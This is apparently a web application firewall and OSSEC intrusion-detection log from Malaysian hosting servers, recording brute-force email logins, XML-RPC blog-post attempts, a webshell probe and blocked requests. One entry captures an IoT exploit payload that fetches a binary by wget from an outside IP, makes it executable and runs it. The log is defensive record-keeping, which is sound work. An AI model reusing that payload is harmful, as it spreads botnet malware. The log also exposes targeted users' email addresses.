IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.astlog.com.my||ServerName:astlog.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:731f680a3056bc63fc0fbabf7d947ed6dc8c0e6b||Title:0x96cbc47b||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 14:15:14 dovecot_login authenticator failed for H=(NIV9IFNd) [158.94.209.22]:60229: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 14:15:17 dovecot_login authenticator failed for H=(PEaCqWZF) [178.16.54.138]:64187: 535 Incorrect authentication data (set_id=ohchan.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.5.189.21
country_id: 241170
description:
2026-01-31 14:15:18 dovecot_login authenticator failed for H=(sIYjkYv) [69.5.189.21]:53215: 535 Incorrect authentication data (set_id=audrey)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.91.69.136
country_id: 2635167
description:
2026-01-31 14:15:55 dovecot_login authenticator failed for H=(kcZqIEc) [185.91.69.136]:50410: 535 Incorrect authentication data (set_id=azakaria.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-31 14:15:10 dovecot_login authenticator failed for H=(4sVFsK) [165.154.235.118]:24136: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 14:15:16 dovecot_login authenticator failed for H=(NPMVwCthZF) [158.94.208.175]:50039: 535 Incorrect authentication data (set_id=shutters)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-31 14:15:43 dovecot_login authenticator failed for H=(5HIsfWfI3) [165.154.235.118]:36531: 535 Incorrect authentication data


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.244.152.203
country_id: 99237
domain: www.plomalite.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.plomalite.com/img/photos/407752.jpg HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77142262
name: IM360 WAF: IOT unauthenticated file upload and RCE
abuser: 176.65.148.38
country_id: 2750405
domain: 42.0.28.70:80
description:
IM360 WAF: IOT unauthenticated file upload and RCE||RSV:7.71||T:APACHE||MVN:ARGS:mdc||MV:cd /tmp;rm -rf parm7; wget http://94.156.152.67/bins/parm7; chmod 777 parm7; ./parm7 parm7||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.91.69.136
country_id: 2635167
description:
2026-01-31 14:16:23 dovecot_login authenticator failed for H=(cPuH8mPs) [185.91.69.136]:53128: 535 Incorrect authentication data (set_id=azakaria.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-31 14:16:06 dovecot_login authenticator failed for H=(x78uEZ) [165.154.235.118]:45015: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 14:16:05 dovecot_login authenticator failed for H=(dYZEe3XG) [158.94.208.175]:61680: 535 Incorrect authentication data (set_id=scchee.vcb)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.203.139.29
country_id: 2658434
domain: inter-link.edu.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/assets/images/index.php||SC:/home2/interlink/public_html/assets||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 187.101.62.172
country_id: 3469034
domain: astlog.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.astlog.com.my||ServerName:astlog.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:aad5537c9d5967d8f29aa2ee335acd27134973b3||Title:0x68fdae45||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 14:16:08 dovecot_login authenticator failed for H=(7ZShEIS3j) [158.94.209.22]:64826: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 14:16:13 dovecot_login authenticator failed for H=(rW2yMaVc) [178.16.54.138]:59233: 535 Incorrect authentication data (set_id=ohchan.vpb@vc-b.com.my)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 187.101.62.172
country_id: 3469034
domain: astlog.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.astlog.com.my||ServerName:astlog.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:477c84be83309dce007af61596cffbc8285c6f73||Title:0xa8092fc4||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-31 14:17:02 dovecot_login authenticator failed for H=(sO1qxdutG) [165.154.235.118]:1642: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 14:17:09 dovecot_login authenticator failed for H=(ysqNGV) [178.16.54.138]:51200: 535 Incorrect authentication data (set_id=ohchan.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 14:17:16 dovecot_login authenticator failed for H=(gSzBjc) [158.94.208.175]:55082: 535 Incorrect authentication data (set_id=shutters)


